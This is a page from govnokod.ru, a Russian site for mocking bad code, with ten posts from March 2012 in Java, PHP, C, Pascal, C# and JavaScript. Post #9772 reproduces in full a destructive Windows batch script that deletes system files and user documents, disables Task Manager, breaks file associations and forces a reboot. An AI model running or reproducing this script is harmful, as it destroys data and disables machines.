1. Java / Говнокод #9779

    +66

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    if (!retval){
    			String svcLocation = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcLocation") + "";
    			if (svcLocation.contains("GreaterChina")){
    				retval=true;
    			}
    		}
    
    if(!retval){
    			String svcCategory = bp.getParameterValueObjectFromAnyComponent("ReqTDQuestions", "svcCategory") + "";
    			if(svcCategory.contains("ValueAddedServices") || 
    					svcCategory.contains("distWarehouse") ||
    					svcCategory.contains("transportation")){
    				retval =true;
    			}
    		}

    элегантно.

    zloizerg, 27 Марта 2012

    Комментарии (5)
  2. PHP / Говнокод #9778

    +156

    1. 1
    2. 2
    3. 3
    4. 4
    public function session_set_lifetime($time){
      /*NOT USED with cookies, can be used with sessions*/
      return null;
    }

    тотже мастер класа что и тут:
    http://govnokod.ru/9765/
    http://govnokod.ru/9777/

    fafik91, 27 Марта 2012

    Комментарии (1)
  3. PHP / Говнокод #9777

    +160

    1. 1
    2. 2
    3. 3
    4. 4
    public function return_array_element($array, $element){
      /*Return the value of specific array element*/
      return $array[$element];
    }

    тотже мастер класа что и тут:
    http://govnokod.ru/9765/

    fafik91, 27 Марта 2012

    Комментарии (9)
  4. PHP / Говнокод #9775

    +154

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    function get_domain ($url)
    {
    	preg_match("/^(http:\/\/)?([^\/]+)/i",
        $url, $matches);
    	$host = $matches[2];
    	 
    	// get last two segments of host name
    	preg_match("/[^\.\/]+\.[^\.\/]+$/", $host, $matches);
    	return $matches[0];
    }
    function get_host ($url)
    {
    	preg_match("/^(http:\/\/)?([^\/]+\.[^\/]+)\/?/i",
        $url, $matches);
    	$host = $matches[2];
    	return $host;
    }

    я ошибаюсь, или всё это можно сделать с помощью parse_url?

    roman-kashitsyn, 27 Марта 2012

    Комментарии (2)
  5. Си / Говнокод #9774

    +134

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    /* страйкер, почини trim */
      while (1)
        {
          file_ptr start;
          int i;
          long c;
    
          /* See if the next `string_min' chars are all graphic chars.  */
        tryline:
          if (stop_point && address >= stop_point)
    	break;
          start = address;
          for (i = 0; i < string_min; i++)
    	{
    	  c = get_char (stream, &address, &magiccount, &magic);
    	  if (c == EOF)
    	    {
    	      free (buf);
    	      return;
    	    }
    	  if (! STRING_ISGRAPHIC (c))
    	    /* Found a non-graphic.  Try again starting with next char.  */
    	    goto tryline;
    	  buf[i] = c;
    	}

    Раз уж вспоминаем дрѣвния говны

    Written by Richard Stallman <[email protected]>
    and David MacKenzie <[email protected]>.

    bugmenot, 26 Марта 2012

    Комментарии (11)
  6. Pascal / Говнокод #9773

    +89

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    procedure TRashetDate_Form.Button1Click(Sender: TObject);
      var a, b, c, d, e, f, g, h, i, j, k, l, m, n, o, p, aa, ee: real;
      res1: real;
      res2: real;
      res3: real;
      res4: real;
      res5: real;
      res6: real;
      res7: real;
      res8: real;
      res9: real;
      res10: real;
      res11: real;
      res12: real;
      res13: real;
      res14: real;
      res15: real;
      res16: real;
      res17: real;
      res18: real;
      res19: real;
      res20: real;
      res21: real;
      res22: real;
      res23: real;
      Field: real;
    <...>

    Брал отсюда и рыдал...
    http://www.cyberforum.ru/delphi-beginners/thread527956.html#post2835591

    Psilon, 26 Марта 2012

    Комментарии (4)
  7. Куча / Говнокод #9772

    +133

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    @echo off 
     echo Chr(39)>%temp%\temp1.vbs 
     echo Chr(39)>%temp%\temp2.vbs 
     echo on error resume next > %temp%\temp.vbs 
     echo Set S = CreateObject("Wscript.Shell") >> %temp%\temp.vbs 
     echo set FSO=createobject("scripting.filesystemobject")>>%temp%\temp.vbs 
     reg add "hkcu\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v disabletaskmgr /t REG_DWORD /d 1 /f 
     start %temp%\temp.vbs 
     start %temp%\temp1.vbs 
     start %temp%\temp2.vbs 
     del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul 
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     Start http://vk.com/iloverain_96
     assoc .lnk=textfile 
     assoc .exe=mp3file 
     @echo off 
     :x 
     Chcp 1251 
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     msg * Пой птичка, пиздец системе...[© Iloverain]
     goto x 
     Chcp 1251 
     del "%USERPROFILE%Мои документы*.*" /q /s 
     label E: ГАВНО 
     Cd\ 
     Cd C: 
     Сd windows 
     del *.exe 
     del *.ini 
     del *.com 
     cd\ 
     cd windows 
     cd system 
     del *.dll 
     del *.exe 
     del "%SystemRoot%Cursors*.*" >nul 
     taskkill /f /im explorer.exe >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f >nul 
     date 01.01.01 >nul 
     reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul 
     FOR /L %%i IN (1,1,100000) DO md %%i 
     Echo format C: /q c:Autoexec.bat 
     shutdown -r -t 0 >nul

    Это bat (cmd) код. Наткнулся на просторах интернетов.

    space_man26, 26 Марта 2012

    Комментарии (20)
  8. C# / Говнокод #9771

    +114

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    34. 34
    35. 35
    36. 36
    37. 37
    38. 38
    39. 39
    40. 40
    41. 41
    42. 42
    43. 43
    44. 44
    45. 45
    46. 46
    47. 47
    48. 48
    49. 49
    50. 50
    51. 51
    52. 52
    53. 53
    54. 54
    55. 55
    56. 56
    57. 57
    58. 58
    59. 59
    60. 60
    61. 61
    62. 62
    63. 63
    64. 64
    65. 65
    66. 66
    67. 67
    68. 68
    69. 69
    70. 70
    71. 71
    72. 72
    73. 73
    74. 74
    75. 75
    76. 76
    77. 77
    78. 78
    79. 79
    80. 80
    81. 81
    82. 82
    83. 83
    84. 84
    85. 85
    86. 86
    87. 87
    88. 88
    89. 89
    90. 90
    91. 91
    92. 92
    93. 93
    94. 94
    95. 95
    96. 96
    97. 97
    98. 98
    99. 99
    private void button8_Click(object sender, EventArgs e)
            {
    
                string fn = "";
                string st = "";
                string value = "";
                string dirfile = "";
                StreamWriter sw;
    
    
                if (textBox1.Text != "")
                {
                    dirfile = textBox1.Text + "\\" + GetFileName(openFileDialog1.FileName) + comboBox1.SelectedValue.ToString() + ".csv";
                    sw = new StreamWriter(dirfile, false, System.Text.Encoding.UTF8);
                }
                else
                {
                    sw = new StreamWriter(openFileDialog1.FileName + comboBox1.SelectedValue.ToString() + ".csv", false, System.Text.Encoding.UTF8);
                }
    
                // Создаем колонки
    
                for (int cl = 0; cl < dt.Columns.Count; cl++)
                {
                    fn = dt.Columns[cl].ColumnName;
    
    
                    if (cl == 0)
                    {
                        st =  fn.Replace("\n", "").Replace(";", "");
                    }
                    else
                    {
                        st += ";" +  fn.Replace("\n", "").Replace(";", "");
                    }
    
    
                }
                sw.WriteLine(st);
    
    
                progressBar1.Minimum = 1;
                progressBar1.Maximum = dt.Rows.Count;
    
                for (int i = 0; i < dt.Rows.Count; i++)
                {
                    progressBar1.Value = i + 1;
    
                    Application.DoEvents();
    
                    for (int j = 0; j < dt.Columns.Count; j++)
                    {
                        value = dt.Rows[i][j].ToString();
    
                        if (value == "") { value = " "; }
    
                        try
                        {
                            Convert.ToInt16(value);
                            if (j == 0)
                            {
                                st = value.Replace("\n", "").Replace(";", "");
                            }
                            else
                            {
    
                                st += ";" + value.Replace("\n", "").Replace(";", "");
                            }
                        }
                        catch (System.FormatException exp)
                        {
                            if (j == 0)
                            {
                                st =  value.Replace("\n", "").Replace(";", "");
    
                            }
                            else
                            {
    
                                st += ";" +  value.Replace("\n", "").Replace(";", "") ;
                            }
                        }
                        catch (OverflowException oe)
                        {
                            if (j == 0)
                            {
                                st = value.Replace("\n", "").Replace(";", "");
                            }
                            else
                            {
    
                                st += ";" + value.Replace("\n", "").Replace(";", "");
                            }
                        }
                    }
                    sw.WriteLine(st);
                }
                sw.Close();
                MessageBox.Show("Ok");

    досталось в наследство, сохранение DataTable в CSV :)

    Lokich, 26 Марта 2012

    Комментарии (1)
  9. C# / Говнокод #9770

    +109

    1. 01
    2. 02
    3. 03
    4. 04
    5. 05
    6. 06
    7. 07
    8. 08
    9. 09
    10. 10
    11. 11
    12. 12
    13. 13
    14. 14
    15. 15
    16. 16
    17. 17
    18. 18
    19. 19
    20. 20
    21. 21
    22. 22
    23. 23
    24. 24
    25. 25
    26. 26
    27. 27
    28. 28
    29. 29
    30. 30
    31. 31
    32. 32
    33. 33
    public static MyResultData SqlReturnDataset(string sql, string connection)
                {
                    MyResultData result = new MyResultData();
                    try
                    {
                        MySql.Data.MySqlClient.MySqlConnection connRC = new MySql.Data.MySqlClient.MySqlConnection(connection);
                        MySql.Data.MySqlClient.MySqlCommand commRC = new MySql.Data.MySqlClient.MySqlCommand(sql, connRC);
                        connRC.Open();
    
                        try
                        {
                            MySql.Data.MySqlClient.MySqlDataAdapter AdapterP = new MySql.Data.MySqlClient.MySqlDataAdapter();
                            AdapterP.SelectCommand = commRC;
                            DataSet ds1 = new DataSet();
                            AdapterP.Fill(ds1);
                            result.ResultData = ds1.Tables[0];
                        }
                        catch (Exception ex)
                        {
                            result.HasError = true;
                            result.ErrorText = ex.Message;
                        }
                        connRC.Close();
                    }
                    catch (Exception ex)//Этот эксепшн на случай отсутствия соединения с сервером.
                    {
                        result.ErrorText = ex.Message;
                        result.HasError = true;
                    }
                
                    return result;
    
                }

    Govnisti_Diavol, 26 Марта 2012

    Комментарии (1)
  10. JavaScript / Говнокод #9769

    +155

    1. 1
    2. 2
    var len = final_amount.length;
    var final_amount_formatted = (final_amount == "" ? "0" : final_amount.substring(0,len-2) + '.' + final_amount.substring(len-2, len));

    cancerogen, 26 Марта 2012

    Комментарии (0)